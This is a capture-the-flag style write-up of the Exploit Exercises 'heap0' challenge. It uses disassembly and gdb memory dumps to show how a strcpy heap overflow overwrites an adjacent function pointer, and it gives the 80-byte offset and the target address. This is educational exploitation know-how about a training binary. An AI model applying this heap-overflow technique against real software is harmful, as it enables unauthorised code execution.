Skip to content

Latest commit

 

History

History
132 lines (108 loc) · 4.39 KB

exploit_exercises_heap0.md

File metadata and controls

132 lines (108 loc) · 4.39 KB

Exploit exercises - heap0 challenge

Vulnerability

Standard check shows:

$ rabin2 -I heap0
arch     x86
baddr    0x8048000
binsz    23541
bintype  elf
bits     32
canary   false
sanitiz  false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       false
os       linux
pcalign  0
pic      false
relocs   true
relro    no
rpath    NONE
static   false
stripped false
subsys   linux
va       true

When we run the binary we observe a simple output which shows where the 'data' and 'fp' is in memory and a seg fault.

$ ./heap0
data is at 0x9f9b160, fp is at 0x9f9b1b0
Segmentation fault (core dumped)

Looking into the disassembled code:

void main(undefined4 param_1,int param_2)

{
  char *__dest;
  code **ppcVar1;
  
  __dest = (char *)malloc(0x40);
  ppcVar1 = (code **)malloc(4);
  *ppcVar1 = nowinner;
  printf("data is at %p, fp is at %p\n",__dest,ppcVar1);
  strcpy(__dest,*(char **)(param_2 + 4));
  (**ppcVar1)();
  return;
}

We see that the binary reads a command line argument and copies it with strcpy to __dest variable. Since __dest and ppcVar1 are malloc'd, they will both reside on the heap, as two adjacent chunks. On the heap, "two adjacent chunks" means that in between those memory allocations lies additional data (malloc_chunk header) and the allocated size can be different from the one specified to malloc function.

The vulnerability itself is in using the strcpy function to place our command line argument into __dest - we can overflow into ppcVar1 and write our own function pointer which will get executed on line (**ppcVar1)(). Perfect place to place our winner function address.

Overwriting the second chunk

To be exactly sure how much we need to overwrite into the next chunk, let's inspect the memory after strcpy call using gdb:

Breakpoint 1 at 0x80484f7: file heap0/heap0.c, line 38.
(gdb) run ABCDEF
Starting program: /heap0 ABCDEF
data is at 0x804a160, fp is at 0x804a1b0

Breakpoint 1, main (argc=2, argv=0xffffd144) at heap0/heap0.c:38
38	heap0/heap0.c: No such file or directory.
(gdb) i r eax
eax            0x804a160           134521184
(gdb) x/50wx $eax - 20
0x804a14c:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a15c:	0x00000051	0x44434241	0x00004645	0x00000000
0x804a16c:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a17c:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a18c:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a19c:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a1ac:	0x00000011	0x08048478	0x00000000	0x00000000
0x804a1bc:	0x00000411	0x61746164	0x20736920	0x30207461
0x804a1cc:	0x34303878	0x30363161	0x7066202c	0x20736920
0x804a1dc:	0x30207461	0x34303878	0x30623161	0x0000000a
0x804a1ec:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a1fc:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a20c:	0x00000000	0x00000000

Breaking it down a little:

0x804a15c:	0x00000051	0x44434241	0x00004645	0x00000000
0x804a16c:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a17c:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a18c:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a19c:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a1ac:	0x00000011	0x08048478	0x00000000	0x00000000

We can observe that our data ABCDEF (0x44434241 and 0x00004645 blocks) starts at 0x804a160. Few bytes before that, at 0x804a15c, there is a number 0x51 converted to 81 decimal. The number represents the actual size of the whole chunk, but keep in mind that the last three bits in that number are used to mark whether the chunk belongs to a thread arena (A), is mmaped (M) and whether the previous chunk adjacent to this one is in use (P). With that in mind - the actual size of the chunk is actually 80.

This same information is disclosed via the output when the binary is executed:

(gdb) run ABCDEF
Starting program: /heap0 ABCDEF
data is at 0x804a160, fp is at 0x804a1b0

(gdb) p 0x804a1b0 - 0x804a160
$4 = 80

Meaning that we are overanalysing it now, but well ...

The general idea in the end is:

  • write 80 bytes of junk data which will be stored into the allocated memory of the first chunk and malloc_chunk header data of the second chunk
  • write the address of the winner function (\x64\x84\x04\x08) which will be called right after strcpy

The solution for this task is solve_exploit_exercises_heap0.py